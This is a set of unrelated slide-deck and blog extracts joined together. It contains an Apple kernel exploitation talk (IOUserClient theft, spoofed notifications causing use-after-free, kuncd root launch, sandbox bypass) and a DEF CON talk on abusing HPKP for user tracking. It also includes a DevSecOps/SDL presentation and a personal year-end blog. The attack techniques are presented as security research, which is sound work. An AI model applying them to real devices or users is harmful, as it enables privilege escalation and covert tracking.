• Open an IOUserclient and then exploit kernel vulnerabilities in the kernel extension
• This way is getting harder and harder now
• More and more system services cannot open any IOUserclients unless they have the com.apple.security.iokit-user-
client-class entitlement
• More and more IOUserclients require the creator task owns dedicated entitlements
• Besides, IOUserclient ports cannot be sent across tasks
Attack 3: steal IOUserClients
Task
IORegistryGetRootEntry
IORegistryEntryGetChildIterator
IOIteratorNext
IORegistryEntry
Root
Other IOService
Instances …
AppleCamIn
AppleKeyStore
AppleCamInUserClient
(Applecamerad)
AppleKeyStoreUserClient
(keybagd)
AppleKeyStoreUserClient
(containermanagerd)
A simplified IOServices Tree
Attack 3: steal IOUserClients
Task
IORegistryGetRootEntry
IORegistryEntryGetChildIterator
IOIteratorNext
IORegistryEntry
Root
Other IOService
Instances …
AppleCamIn
AppleKeyStore
AppleCamInUserClient
(Applecamerad)
AppleKeyStoreUserClient
(keybagd)
AppleKeyStoreUserClient
(containermanagerd)
A simplified IOServices Tree
Task
IORegistryGetRootEntry
IORegistryEntryGetChildIterator
IOIteratorNext
IORegistryEntry
Root
Other IOService
Instances …
AppleCamIn
AppleKeyStore
AppleCamInUserClient
(Applecamerad)
AppleKeyStoreUserClient
(keybagd)
AppleKeyStoreUserClient
(containermanagerd)
A simplified IOServices Tree
send right to the user
client with port type
IKOT_IOKIT_OBJECT
Attack 3: steal IOUserClients
IKOT_IOKIT_OBJECT limits the IOUserClient instance to expose
only the IOService interfaces, rather than its IOUserClient interfaces
Attack 3: steal IOUserClients
• We can change IKOT_IOKIT_OBJECT to IKOT_IOKIT_CONNECT!
• We can traverse the IOService tree and use any IOUserclient instance freely
• Many “low-hanging fruit” vulnerabilities in some “well-protected”
IOUserClient interfaces
• Many IOUserClient instances (especially on macOS) that have powerful
enough capabilities to manipulate the devices, without the need of
memory corruptions
Attack 3: steal IOUserClients
• Example 1: AppleH10CamInUserClient
• Require the com.apple.camera.iokit-user-access entitlement to create a new
AppleH10CamInUserClient instance
• But we now freely use the exiting instances
• Selector 77 triggers a stack overflow
A special note: the vulnerable kernel function only uses PACIBSP to protect the return
address, but doesn’t use the stack guard. As a result, the stack overflow can overwrite
the registers spilled to the stack.
Attack 3: steal IOUserClients
• Example 2: ApplePPMUserClient
• com.apple.private.ppm.client
• com.apple.private.ppm.superclient
• Heap Overflow in ApplePPMUserClient::sRegisterClient (selector 26)
Attack 4: spoofed NMS
• XNU has a very privileged port:
host_security
• host_security_set_task_token can
change a task's security token!
• By resetting our token to the kernel
token, we can send NMS to any port
Attack 4: spoofed NMS - voucher UAF
☞
When a voucher
object receives a
NMS, it will call
ipc_voucher_notify
ipc_voucher_release decreases the voucher’s reference counter
(iv_refs) and deallocates the voucher object for the last reference
☞
Attack 4: spoofed NMS - voucher UAF PoC
Attack 4: spoofed NMS - semaphore UAF
☞
When a semaphore
object receives a
NMS, it will call
semaphore_notify
semaphore_dereference decreases the semaphore’s ref_count
and deallocates the semaphore object for the last reference
☞
Attack 4: spoofed NMS - semaphore UAF PoC
• semaphore is a very interesting object. Its ref_count is stored at offset 72.
• semaphore_dereference will decrease the value at offset 72.
Attack 5: spoofed NMS + type confusion
…
semaphore
task_link
ref_count
+0
count
active
+72
+76
• We can 1) change a port type to IKOT_SEMAPHORE, and 2) then send
NMS as many times as we want, so that the value at offset 72 will be
decreased as many times as we want before it becomes 0.
Attack 5: spoofed NMS + type confusion
Smaller object
Larger object
some_value
…
…
semaphore
task_link
ref_count
+0
count
active
+72
+76
Out-of-bounds
decreasement
☞
☞
In-bounds
decreasement
Attack 5: spoofed NMS + type confusion
Change the iterator port from IKOT_IOKIT_OBJECT to
IKOT_SEMAPHORE, and send NMS to the port
IOUserIterator is
allocated at
default.kalloc.32
☞
IOUserIterator
+0
+8
+16
+24
OSArray->array
OSArray->array
Ptr
OSArray->array
+32
+40
+48
+56
+64
+72
semaphore_dereference(IOUserIterator)
decrease any times
Spray OSArray with
capacity=4, so that array
buffers are also allocated
at default.kalloc.32
☞
☞
Attack 6: trick kuncd
• kuncd is a user space service that is supposed to only handle mach message from
the kernel to execute user-space tools on macOS
• kuncd checks the audit_token in the mach message trailer so that it only handles
mach messages from the kernel
• Now we can send a mach message to kuncd to launch terminal as root
Attack 7: Access to any Mach services
Task
Launchd
1. bootstrap_lookup
Service
2.send right to the service
3. IPC channel to the service
Kernel
(Sandbox extension)
☜
Query the kernel with
pid/p_idversion
☜
The mach message carries a trailer
With the fake host security port, we can set our token to
pid=1, p_idversion=1, which is the launchd’s token
Launchd’s sandbox is super nice, so we can bypass the mach-lookup sandbox check
Attack 7: Access to any Mach services
err = 1100, service_port=0
Before we reset our token to launchd’s token
Attack 7: Access to any Mach services
After we reset our token to launchd’s token
applecamerad will
return this plist
file to our app
☞
Conclusion
• Variant analysis brings surprises
• Port type confusion forms a giant attack surface
• A vulnerability may have many ways to exploit
Thank you! | pdf |
Abusing Bleeding Edge Web
Standards for AppSec Glory
Bryant Zadegan
Ryan Lester
Advisor/Mentor
CEO, Co-Founder
Mach37
Cyph
keybase.io/bryant
[email protected]
@eganist
@TheRyanLester
• Does AppSec stuff,
usually.
• Mentors security
startups, sometimes.
• “Mentors” others on
AppSec, occasionally.
• Paid a buck to make Steve
Ballmer dance, but just
once.
• Runs an E
2EE
communication startup
• Codes for an E
2EE
communication startup
Ran QA automation at a
•
rocket factory
Got sued by Napster (and
•
not for piracy)
Bleeding Edge Web Standards
For Your (Ab)use, we'll talk about these:
But Why?
Source: Harold & Kumar Go to White Castle
• New standards are
frequently drafted.
• Many introduce
unforeseen
complications.
• Novel uses
encourage
future
tweaks.
S
R
I
• Validate resources beyond your trust (e.g. CDNs)
<script
src="https://code.jquery.com/jquery.min.js"
integrity="sha256-[hash] sha256-[hash2]"
crossorigin="anonymous"
fallback-src="jquery.min.js">
</script>
• caniuse.com/subresource-integrity
S
R
I
• Validate resources beyond your trust (e.g. CDNs)
<script
src="https://code.jquery.com/jquery.min.js"
integrity="sha256-[hash] sha256-[hash2]"
crossorigin="anonymous"
x-sri-fallback="jquery.min.js">
</script>
• caniuse.com/subresource-integrity
BUILDER DEMO
heisenberg.co/srifallbackdemo/
Kneel to the demo gods
SOURCE (Simplified BSD)
github.com/cyph/sri-fallback
Do source gods even exist?
CSP
• Combines semi-strict header with strict
<meta>.
• Allows for pre-loading of trusted complex
logic.
• Does not work for the verbs frame-
ancestors, report-uri, or sandbox.
BUILDER DEMO
heisenberg.co/metacspdemo/
Fall on thy sword for the demo gods.
CSP
Considerations
• Static content only
in initial response!
CSP
• Best for adapting a semi
-recent application for
use with CSP.
• Application
’s trusted static logic is allowed to
execute on initial load.
• Meta
-Hardening prevents dynamic content
from potentially executing later on.
• This can break
sites. Use
!
– (Chrome 46+ only; no reporting in Firefox 😐)
Public-Key-Pins
:
max-age=5184000; includeSubdomains;
pin-sha256="az9AwClWuHM+fYV+d8Cv9B4sAwdcoUqj93omk18O/pc=";
pin-sha256="5UONcYAsFtYscIlFlm4+aodoL20RRHzGaOeoSNEZ+iA=";
"https://report-uri.io/report/[id]/reportOnly"
• caniuse.com/hpkp
Deliberate self-bricking via HPKP + Rapid Key Rotation.
Let's spend 20 minutes on how we can use this:
– to enable in browser code signing
– to control content changes and harden SRI.
– to enable nuanced web content blocking. (NetSec)
– to track users…
– to be total jerks…
...in ways we shouldn't put in print.
(Thanks Jann Horn @ Cure53 for putting us onto this!)
Wait, in-browser code signing? No extensions?
In theory.
In the last slide’s content pinning scheme, code signing
logic goes in the ServiceWorker.
This effectively gets us Trust On First Use for current and
future code.
Why “In theory”? This sounds like it should work.
In fact, Cyph employs a mature, audited implementation of
exactly this.
However, it was considered so novel that we had to apply for a
patent on it.
But, you can come close to this for free if you…
Control local storage updates! Harden SRI!
• Set HPKP max-age to count down to your
deployment date.
• Rotate routinely.
Benefits:
• Retain control of front-end content between
releases.
• Mitigate risks of SRI hash tampering server-
side.
Considerations:
• HPKP Suicide + SRI is a design-time decision!
– Single Page Apps (SPAs) only
BUILDER DEMO
redskins.io
I don't believe in demo gods
Web Content Gateway e.g. [SomeVendor]?
Lock your users out of sites even when they're not
on your network!
1. For flagged domains, set HPKP headers.
2. Optionally, Rotate keys weekly at the gateway.
Done! (By us disclosing it, is this now prior art? )
Oh...
https://crt.sh/?id=19538258
Issuer:
commonName
= VeriSign Class 3 Public
Primary Certification
Authority - G5
Subject:
commonName
=
organizationalUnitName = Symantec Trust Network
organizationName
= "Blue Coat Systems, Inc."
User tracking?
Well, we really shouldn't talk about this…
But since this is DEF CON...
…let's track users!
Pre-requisites:
Lots of (sub)domains to pin
Browsers that allow HPKP incognito
Rapid Key Rotation
(Thanks! )
Server-side
• /set: Returns HPKP header
• /check: No-op — no HPKP header, status code 200
Client-side (JavaScript)
• Set new ID: Hit /set on random subset of domains
• Check ID: Hit /check on all domains; note failures
BUILDER DEMO
cyph.wang
I don't believe in demo gods
Not implemented by Google.
We only ran the script in console.
Not implemented by Reddit.
We only ran the script in console.
Considerations:
Risk: DoSing tracker domains as a public service
1.
Domain whitelist for your own tracker, or
2.
App-issued and tracker-verified nonce if analytics is your
business model.
The pattern described is similar to others here:
https://tools.ietf.org/html/rfc7469#section-5
SOURCE (New BSD)
github.com/cyph/hpkp-supercookie
Do source gods even exist?
…to be total jerks?
we really shouldn't talk about this…
Hat Tip
To Geller Bedoya, DigiCert, @el_d33, Jonn Callahan, Jann Horn and all of Cure53,
Samy Kamkar, Jim Manico, Mike McBryde, Jim Rennie and his superb legal skill,
Garrett Robinson, John Wilander, Doug Wilson, as well as the Chrome, Firefox,
and Let's Encrypt security teams for their contributions.
github.com/cyph/appsec-glory
Bryant Zadegan
Ryan Lester
Advisor/Mentor
CEO, Co-Founder
Mach37
Cyph
keybase.io/bryant
[email protected]
@eganist
@TheRyanLester | pdf |
2020年RSAC关键热点
DevSecOps左移开发安全
思路分享
2
安全圈的奥斯卡已开幕
RSAC已在美国当地时间2月24日—28日开启
RSA大会是信息安全界最有影响力的业界盛会之一。RSA大会一年一度分别在美国、欧洲和日本
举办,其议程设计由信息安全从业者及其它相关专业人士评判和制定。RSA大会一直吸引着世界
上最优秀的信息安全人士,创造机会让参会者跟同辈和杰出人物、跟新兴企业和知名企业直接交
流,了解信息安全的最重要课题。
3
聊些八卦
✓ 外国友人想请你喝一杯的时候要三思
如果你有朋友或同事是第一次参与!
✓ 不在非授权情况下接受外媒采访
4
一起来认识RSA
RSA 大会是信息安全界最有影响力的业界盛会之一
一、那它为何如此受到安全行业的重视?
二、创新沙盒奖项是什么?
三、今年的RSA又有哪些热点?
5
RSA的前世今生
RSAC承接信息安全产品的过去与未来!
5
2013
4
2008
3
2002
2
1995
1
1991
6
2016
起源
出发
911
呼救
斯诺登
苹果
创新沙盒成为了全球安全圈关注的话题
创新沙盒奖项,信息安全的风向标
资产发现
资产分析
资产梳理
资产管理
威胁处置
协同扩展
7
RSA十大热点分享
RSA 大会宣布了第15届创新沙盒竞赛的十位决赛入围者。
2020年2月24日,入围RSA大会创新沙盒“十强”的企业将
在大会现场各自进行3分钟左右的展示并回答委员会的问题。
创新沙盒的初衷是为网络安全领域的初创企业提供平台,让
他们展示自己的创新技术或愿景,以及他们可能为信息安全
行业带来的变革与发展。Securiti.ai 已获得今年冠军。
WEB安全
应用安全
代码安全
安全意识
漏洞管理
隐私安全/数据治理
邮件安全
SAAS安全
SAAS安全
从热点看未来
从入选的企业来看未来的网络安全行业
将会聚焦在隐私、SaaS、DevSecOps
等热点方向。
https://forallsecure.com/
https://blubracket.com/
在市场和技术的推动下,近年的创新沙盒中,多次出
现DevSecOps相关产品,比如今年的左图两家公司,
2019年的DisruptOps(云基础设施检测与修复)、
ShiftLeft(软件代码防护与审计)等。
融合+自动化
8
9
常见的软件生命周期
空气墙
处理滞后
沟通成本高
各为孤岛
难协调
信息不对称
意识不足…
表面上看铁桶一个,密不可破,实际
却……..
10
DevOps的出现
Dev=Devilopment(开发)
Ops=Operation(运维)
这个词是Patrick Debois于2009年创造的,是公认的
DevOps之父。
以自动化为基础,以合作为黏合剂,以业务为目标的软件全
生命周期的最佳实践!
11
何为DevOps?
覆盖计划、需求、设计到开发、测试、部署、运维、运营的封闭式全生命周期
最佳实践
成熟度模型
技术流程
12
DevOps目的
ISO27000
⚫ 快速交付价值,灵活响应变化
⚫ 全局打通敏捷开发&高效的运维模式
⚫ 系统应用指导原则、最佳实践
⚫ 端到端工具链相互联通&整合
提高企业的营收、利润及市场占有率
软件全生命周期的闭关(敏捷开发、持续交付、技术运营)
技术
手段
效果
原则
13
DevOps软件分布图
14
DevOps下我们的安全是如何做的?
牵一发而动全身
高效
敏捷
持续
X
X
X
开发测试
安全人员
运维人员
上线后发现
安全问题!
15
我们损失的不止是时间
研发阶段
研发阶段发现的漏洞可以由开发直接FIX,成本低,
效率高。
测试阶段
测试阶段发现的漏洞,由测试提交给研发,需要一
定的沟通成本,相对来说FIX的效率较高。
发布阶段
发布到线上后检测出的漏洞,需要安全人员给出方
案,与研发人员沟通,由测试人员验证,也需要承
受一定可能性的线上风险,相对成本较高。
运行阶段
运行一段时间后,被白帽子或监管报告发现的漏洞,
需要付出额外的金钱,沟通成本高,需要再FIX的
时间,需要运维,发布的介入,修复成本成倍数的
上升,给企业带来相当大的风险和成本压力。
研发
研发
测试
研发
测试
运维
安全
产品
研发
测试
运维 安全
产品
业务
公关
老板
x1
x2
x10
x100
100倍
16
何为DevSecOps?
来自 Gartner 研究公司的分析师 David Cearley 认为,当今的 CIO或者
CSO 应该修改 DevOps 的定义,使之包括安全理念。他称之为 DevSecOps,
“它是糅合了开发、安全及运营理念以创建解决方案的全新方法”。
17
DevSecOps与DevOps的区别?
安全重心的思路转变
SEC
Devops时代安全团队的尴尬
Devops 快速的迭代和发布过程中,安全
因为缓慢节奏被弃在一旁,整个流程中没
有安全质量的考虑和控制,安全团队也对
安全质量无计可施。
建设人人都对安全负责的DEVSECOPS
企业建设人人都对安全负责的DECSECOPS
流程是大势所趋,在这个过程中安全团队扮
演专家的角色,更好的优化整个流程,而安
全细节被所有人一起完成,整个企业安全效
果和质量及关注度都得到全面的提升。
18
DevSecOps的现状
https://blog.csdn.net/FL63Zv9Zou86950w/article/details/88549243
19
DevSecOps有多复杂?
◼ 需求与需求的管理
◼ 开发和交付过程的可视化
◼ 产品开发和交付计划
◼ 促进价值流动
◼ 产品的部署和发布
◼ 持续过程改进
◼ 质量和质量改进
◼ 产品及业务的创新与探索
◼ 管理与组织结构的改进
◼ 网络安全
◼ 数据安全
◼ 应用安全
◼ 平台安全
◼ 开发安全
◼ 运维安全
◼ 系统安全
◼ DataBase
◼ Jenkins
◼ Java
◼ Jira
◼ Git
◼ UI
◼ 自研软件开发
◼ 外包软件开发
◼ 产品经理
◼ 运维人员
◼ 安全人员
◼ 开发人员
◼ 测试人员
20
DevSecOps安全分部图
需求设计
架构设计
编码阶段
编译构建
测试阶段
预发布阶段
发布阶段
线上运维、运营阶段
信息安全管理/合规
业务上线之前
业务上线之后
网络安全
系统安全
数据安全
运维安全
平台安全…
开发安全
持续安全运营管理平台
21
DevSecOps中涉及到安全的领域(安全管理/合规)
信息安全管理
合规
培训
制度
流程
规范
权限
措施
组织结构…
KPI
国际法规
网络安全法
等保2.0
行业规范…
22
DevSecOps中涉及到安全的领域
1、开发安全
2、数据安全
3、网络安全
4、系统安全
5、运维安全
6、业务安全
7、平台安全
8、应用安全
数据
情报
日志
策略
管理
DevSecOps
安
全
管
理
运
营
平
台
23
DevSecOps安全实施注意事项
2.目标
3.人
4.技术
5.计划
1.准备
将信息安全更好地集成到每个人日常工作中
24
左移开发安全
左移开发安全是DevSecOps的基础,也是效果最显著的方式之一
Dev
Ops
大多数企业是空白
有一定安全建设基础
Sec
25
SDL:Security Development Lifecycle
SDL最佳实践
S D L 是 微 软 提 出 的 从 安 全 角 度 指 导
软 件 开 发 过 程 的 管 理 模 式 。 是 将 设 计 、
代 码 和 文 档 等 安 全 相 关 漏 洞 减 到 最 少 ,
在 软 件 开 发 的 生 命 周 期 中 尽 可 能 的 早 得
发 现 并 解 决 相 关 漏 洞 建 立 的 流 程 框 架 ;
为 了 实 现 保 证 最 终 的 用 户 安 全 , 在 软 件
开 发 各 阶 段 中 引 入 针 对 项 目 安 全 和 用 户
隐 私 问 题 的 解 决 方 案 。
帮 助 软 件 研 发 类 企 业 在 产 品 研 发 过
程 中 减 少 产 品 的 安 全 问 题 , 并 通 过 方 法
实 践 从 每 个 阶 段 提 高 产 品 的 整 体 安 全 级
别 。
26
SDL:目标
通过SDL体系与相关安全平台的建设,支撑开发过程中的安全介入,提前发现、解决
应用系统安全漏洞,将95%的高危漏洞消灭在开发阶段,避免应用带病上线。
◼
建立SDL安全开发生命周期管理体系,指导开发过程中的安全活动。
◼
引入安全测试能力,并与管理流程平台进行整合,建立自动化、一体化安全开发
管理平台。
◼
通过安全赋能培训,提升员工安全开发意识和应用系统安全开发相关能力。
◼
通过过程管理,实现安全漏洞前置发现,及时修复,降低漏洞修复成本。
◼
开发部门和安全部门相互配合相互促进,确保安全开发流程执行,沉淀知识库。
◼
为DecSecOps打好安全能力基础部分。
安全
开发
建立体系
工具平台
沉淀知识
执行流程
27
SDL:编码阶段(静态白盒测试)
代码仓库分支
IDE插件
持续集成
IDE安全插件
CI增量扫描
持续集成扫描
手写代码安全提醒
安全标准意识教育
增量代码安全扫描
关联代码安全分析
仓库整体安全分析
代码安全定期巡检
⚫能够覆盖 OWASP 安全编码规范要求、CWE安全编码规范要求,及常见的安全风险。
⚫支持JAVA、C++等常见语言,Windows、Android、ios、linux平台的应用。
⚫自带编码修复建议,研发人员可以快速修复风险。
⚫与持续集成和代码仓库及IDE无缝集成,覆盖研发人员的各个coding阶段。
静态白盒测试
28
SDL:测试阶段(动态灰黑盒测试)
测试人员
灰黑盒测试
QACASE
Android/IOS APP SERVER WebSite
被动采集
⚫ 主动采集和被动采集访问日志,完成项目安全测试。
⚫ 逻辑漏洞检测拥有一定的能力。
⚫ 无需专业知识,测试人员快速介入项目安全测试。
⚫ 通过人工+自动化审计并发现数百种安全漏洞,保证上线前不遗漏。
⚫ 对复杂业务模型、web api、后台等无法被爬虫覆盖的业务进行检测。
⚫ 需要进行安全回归测试。
29
技术对比参考图
白盒SAST
黑盒(渗透测试)
DAST
交互式IAST
误报率
高
低
极低(几乎为零)
漏洞检出率
中
低
高
测试覆盖度
高(覆盖全部代
码)
低
高(覆盖单元测试、
集成测试、系统测试
全过程)
检测效率
约2周
约1周
约3天
逻辑漏洞检测
不支持
需要人工干预手工
检测逻辑漏洞
支持
是否需要获取
源代码
需要
不需要
不需要
易用性
需要懂代码的研
发人参与(不同
的程序语言代码,
需要懂相应代码
的研发人员参
与),且需要研
发人员排除误报。
需要经验丰富的渗
透人员参与,需要
验证漏洞
零安全基础、零研发
基础的人员都能使用
30
SDL:预上线阶段(环境安全监控)
1
2
3
4
环境安全监控
7X24h
线上安全监控
监测逃避SDL行为
监控并发现未经过SDL流程上线的应用,并
进行安全审计。
应用框架漏洞
监控并发现struts、spring等开发框架漏洞。
应用服务漏洞
监控并发现nginx、apache、resin等应用服
务器漏洞。
第三方组件漏洞
监控并发现上传组件、编辑组件等第三方组件
安全漏洞。
漏洞生命周期闭环
31
SDL:汇总阶段(威胁知识库&威胁建模)
产品经理
项目需求输入
威胁知识库
需求
分解
风险
分析
安全
方案
需求
安全
分析
报告
研发解决方案
研发&架构师
⚫ 相关信息的收集、录入、整理、归并。
⚫ 输出详细技术解决方案,研发快速理解风险并找到解决方案。
威胁分析模型
威胁资源库
安全基线
威胁情报库
病例库
业务场景库
32
典型案例介绍
•
开发安全过程管理流程完善(安全需求分析、安全设计、安全测试、安全上线等规范完善),各类管理规范发布与
执行,开发安全岗位职责及要求
•
开发安全质量度量管理、PMO安全漏洞评估管理
•
Confluence-安全管理文档接入
•
白、灰黑盒与Jira项目管理平台接入
•
app渗透检测工具与pipeline接入
•
app架构平台与pipeline接入
• 灰黑盒动态测试平台(IAST)落地
• 白盒静态测试平台(SAST)落地
• 解决C端业务安全控制实现《C端开发安全需求清单》中整改任务
XXSDLC开发安全项目建设内容
•
开发安全意识教育
•
开发安全编码培训
•
行业安全开发时间培训
•
产品使用及工具链使用培训
33
SDL实践过程中常见的问题汇总
为什么我做了SDL缺难有成效?
一、缺乏合理的开发安全质量考核
二、企业员工安全能力和安全经验不足
三、SDL流程表单工具缺乏或者不够完善
四、企业未能形成SDL管理流程的闭环
最终总结一下
不要因为技术的先进性盲目的跟从来做安全!
安全技术是一把双刃剑
THANK YOU
www.moresec.cn | pdf |
⼜到了提笔写年终总结的时候,和以前拼命想记录⽣活状态不同,这次我却不知道从哪开始写起。就想到啥写啥
吧。
北京
今年年初来到了北京,没有了昔⽇了朋友,在北京还是很孤独的。跨年夜我和⼥朋友吃完晚饭,说想找个地⽅⼀起
跨年,竟然发现没有什么好去的地⽅。想到三⾥屯离我们最近,那边应该好玩,打开打⻋软件发现附近堵⻋已经堵
了⼏条街了,瞬间打消了去意,想买点东⻄回家吃,但是已经快10点,附近超市什么的都关⻔了,也想不到买点
啥,就这样两⼿空空回到出租屋和好友们在游戏中度过了跨年的钟声。
Hacking8安全信息流
写总结第⼆个想到的就是总结⼀下hacking8,这是我今年花费时间最多的⼀个东⻄,我得好好总结下,从去年五
⽉⼀号写第⼀⾏代码到现在,从中踩了不少坑和学到了不少东⻄。
去年的总结中
⽹站很⻓⼀段时间都是开放注册,需要”解题”才能获得邀请码,这样很酷。⽬前注册⼈数已经有700多⼈了,
每天⼤约会有5个⼈签到~ 平均每天会有200来个独⽴IP访问。
今年这个数字都翻倍了,注册⽤户到了 1700+ ,每天⼤约会有 40 ⼈签到,⽹站⽇ip达到了 500-600 。
这不算是很⾼的增⻓,不过对于我个⼈来说还是很激动。毕竟有越来越多的⼈认可了hacking8。
之前服务器部署⼀些服务都抠抠搜搜,今年索性买了⼀台好点的服务器,⽤来⽀持⼀些研究,也上了全⽂索引,让
搜索更加⽅便。
今年上半年花了很多时间⽤在修改hacking8的bug上,因为涉及⽤户系统的操作,代码量的成倍增加,⼀会web挂
了,⼀会爬⾍挂了,⼀会⼜要处理⼀些⼩⼯具服务的bug,服务挂掉后,会通过 Bark ⼿机提醒我,但我把它声⾳
提醒早早就关闭了,因为有时候晚上会⼀直响。。
常常就是早上醒来,发现了提醒99+的错误消息。。然后每次都要重新登陆上服务器,检查服务,修改bug,重启
服务。
下半年我决⼼改掉这些,不想在过多去⼿动操作了,想让hacking8全程都⾃动起来,此时才明⽩开发中⾃动测试
的重要性,于是做了⼀键⾃动部署/重启爬⾍,⾃动测试爬⾍失效状态,⾃动化的服务监测系统等等,开发完后就
很少再登陆服务器检查错误了,觉得还不错~
新功能
⽇常在做的还有不停的砍需求,经过这么⼀年,hacking8的主体功能就是信息流的推送⼯具,外加⼀些其他的辅
助功能。平时我会有很多新的想法,但奈何只有我⼀⼈业余开发维护,很多想法突然来了灵感,就想⽴⻢加上,此
时我的另⼀个脑袋就会拼命拉住我,说不⾏,让⼦弹⻜⼀会。
所以什么周报总结、github监控、微信公众号监控等等都被⾃我否掉了,精⼒实在有限。之前还想模仿即刻做⽤户
的圈⼦社区,写了个笔记记录了下想法,之后也被⾃我否掉了,因为我还没有能⼒能运营起⼀个圈⼦社区,不能营
造那种氛围。
Hacking8的界⾯主体还是 bootstrap 框架搭建的,⼏年过去还是没有⼀丝丝改变,虽然⽐较简陋,看⻓了也就习
惯了。界⾯上改变的就是把图标焕然⼀新了,把原先的 Font AweSome 换成了阿⾥的 iconfont ,也算是有个新⽓
象。
Hacking8在今年也加⼊了些功能,通常就是⼀些⼩想法,将它实现为了在线的⽅式。
这些⼩功能通常也都写了博客记录了,如
⽩加⿊⾃动化⽣成器 https://x.hacking8.com/post-430.html
CS上线器 https://x.hacking8.com/post-428.html
dll2shellcode https://x.hacking8.com/post-413.html
⼩8微信机器⼈
刚开始做微信机器⼈,主要⽬的是监控公众号的,后⾯有点想法,想做个群聊机器⼈,对接信息流的最新数据⽤于
学习,定时推送或主动@机器⼈推送。然后机器⼈第⼀天就被加爆了,被官⽅⻛控,现在还没解封。。
写这篇⽂章前⼀天,⼜想到⼀个点⼦。看在元旦能不能给安排上。。
微信公众号
公众号"Hacking就是好玩"在去年关注的⼈有 2400+ ,今年也整整番了⼀倍,有 4800+
常读⽤户
今年在公众号发了⽂章27篇,也刷新了我的记录,每篇都是原创,阅读量都在1000+。
收⼊
有好多⼈联系想在公众号投放⼴告,⼀篇的价格在700左右,挺诱⼈的,我想了想,还是拒绝了。写公众号是作为
⼀个业余爱好,有些东⻄还是保持最初的样⼦⽐较好。
通过 知识星球 的收⼊,也能够⽀撑起 Hacking8信息流 和 公众号 的⽇常维护了。
⼯作
⼯作
今年换了⼯作,也聚集于安全开发上,主要做windows⽅⾯的,将红队中常⽤的⼿段以⼯程化的⽅式实现,语⾔在
Go、C、C++、Python、NodeJs上切换,前三个主要是写客户端,⽤Python主要写后端和⼀些爬⾍脚本,⽤node
和vue主要写 electron 。在windows上,没有写c#是⼀个遗憾,除⾮必要,我也不太想花精⼒再学⼀⻔语⾔了。
公司氛围也很轻松,所以有时间进⾏各种的技术学习,看了很多代码,把它们⼀些精华吸收了下记录在了博客,
github和知识星球。
github issue收集了不少感兴趣的资料
https://github.com/boy-hack/boy-hack/issues
回望⼀下今年做了些什么,这是今年我博客发表⽂章的统计图,和去年相⽐⽂章数量是增加的。
今年把 projectdiscover 的项⽬全都过了⼀遍,写了⼏篇源码阅读分享,在知识星球上我还布置了⼏次有关扫描
器的作业。
今年学习了逆向,基于逆向,对Go编译的⼆进制进⾏混淆,基于逆向,逆向yara和提取goby指纹,这是最好玩的
事情之⼀了。
关于红队开发,⽬前还是停留在免杀层⾯,从免杀⼊⼿,开始了解windows平台的各种机制,和沙软对抗,⽤⼯程
化的⽅式将免杀的技战术组合在⼀起,组合成各类免杀模块。没有深⼊内⽹,也是今年的遗憾之⼀。
关于技术的深度和⼴度
我的技术栈很⼴,总是这个想了解⼀下,那个也想试试,保持了⾜够的好奇⼼。但要说哪个厉害,似乎也没有哪
个。
技术的精进还是得有⼀个⻓处,还是得对⼀个技术保持深度的理解和影响⼒。
回顾计划
去年的年终和年中总结都制定了计划
2020年终
分析⼀个远控了解它的功能和隐藏,执⾏⼿段,写个分析以及模仿写个软件
完成,看了很多go的rat和c2源码,写了⼀些分析在知识星球
Hacking8信息流还有很多功能需要更新,列个清单并更新它
基本完成,没有完成的都砍掉了
建造⼀个SRC⾃动化信息收集平台,输⼊⼀些域名,就能得到src需要的⼀切信息收集相关的东⻄。主要是整
合⾃⼰之前做的⼀些东⻄。
没有完成。但是实现了⾃动化⼯具,包含了⼦域名扫描+检测、httpx扫描、指纹识别、nuclei+xray模板
扫描。只等待有空集成进去。
2021年中
准备做⼀个知识星球,⽤于分享安全与开发的⼀些东⻄,⼀些开源代码的讲解,它们有什么功能,特点是
啥,有哪些值得学习的。⽐较纠结的是安全圈感兴趣的是各种漏洞的利⽤,各种⼯具的使⽤,对⼯具原理并
不是那么在乎,我的知识星球能坚持多久也未知。
今年也创建了我的知识星球,知识星球的收⼊很⼤程度缓解了压⼒。
很多⿊客和安全⼯具的构造是那么巧妙,我看了很多安全⼯具的代码,将它们值得学习的地⽅记
录了下来。⼀点点开发+安全的结合,Hacking⾃动化就是好玩,这个仓库将持续更新星球中的精
华⽂章,源码和思路,付费加⼊是我更新的动⼒。
⽬前星球的⼈数有199⼈,承蒙⼤家相信,未来星球会分享更多东⻄。
模仿bugscan扫描器的go版本扫描器还是得做,不管其他的,我得要有,⾃⼰⽤也⾏啊。
没做成。。
⼆进制还得看,完成10道简单的crackme和pwn题吧,写⽂章发博客~
完成了⼀些简单的re题,pwn还没开始学...
⽣活
⽣活很平常了,两点⼀线,除了公司就是出租屋了,并且在⼀条街道上,真正的两点⼀线了,都不带拐弯的。
在去公司路上听听书,听了《明朝那些事》,⼜在B站看了《⼤明王朝1566》的解说,还挺不错。
看了⼀本书《只是为了好玩——Linux 之⽗林纳斯⾃传》,⾥⾯有很多有趣的句⼦和思考,如下:
关于⽣活的意义的讨论
三件事:⽣存、社会秩序、娱乐,⽣活中所有事情遵循这个顺序,某种意义上说,⽣活的意义就是要达到第三个阶
段。我的理解,计算机编程也能有这三个意义,第⼀是通过计算机编程这⻔⼿艺⽣存,第⼆是凭借计算机编程这⻔
⼿艺进⼊⼀家⼤公司,进⼊到第三个境界,把编程看作⼀项娱乐活动来玩,写代码也能获得快乐。
之前我的⼀些随笔⼜在疑惑,为什么⼯作后⼀些有关代码的兴趣消失了,这个“⽣活的意义”似乎可以解答,在⼤学
时候,处于⽣活意义的第三阶段,所以写代码是快乐的,但是⼯作后,退回到了第⼆阶段。
关于编程的美妙
下⾯这段话很有同感
为什么对编程这么狂热,我⾃⼰也解释不来,我姑且说说看吧:在编程的⼈看来,编程是世上最有意思的事
情了,它要⽐国际象棋之类的游戏复杂得多,你想要什么规则都可以⾃⼰设定。按照你定下的规则,它的结
果该是什么,就会是什么。不过,似乎在外⾏⼈看起来,编程简直是地球上最⽆趣的事。 编程刚刚开始会令
⼈觉得特别刺激,这个原因很好解释:因为你让电脑⼲什么,它就⼲什么,没有毫厘之差,并且永远服从、
毫⽆怨⾔。但是单靠这⼀点,并不⾜以让你真正喜欢上编程。事实上,电脑的盲从只会让编程变得⽆趣,编
程真正让⼈欲罢不能的魅⼒是:你想让电脑⼲什么事情之前,必须先弄清除,怎么样才能让它这么⼲。计算机
科学和物理科学有不少相似的地⽅,它们都是在⼀个⾮常基础的层⾯上探讨整个学科的运作原理,不同的是
在物理科学上,你得去弄清楚这个已存在世界是如何正常运转的,⽽在计算机科学上,你得从零开始创造出
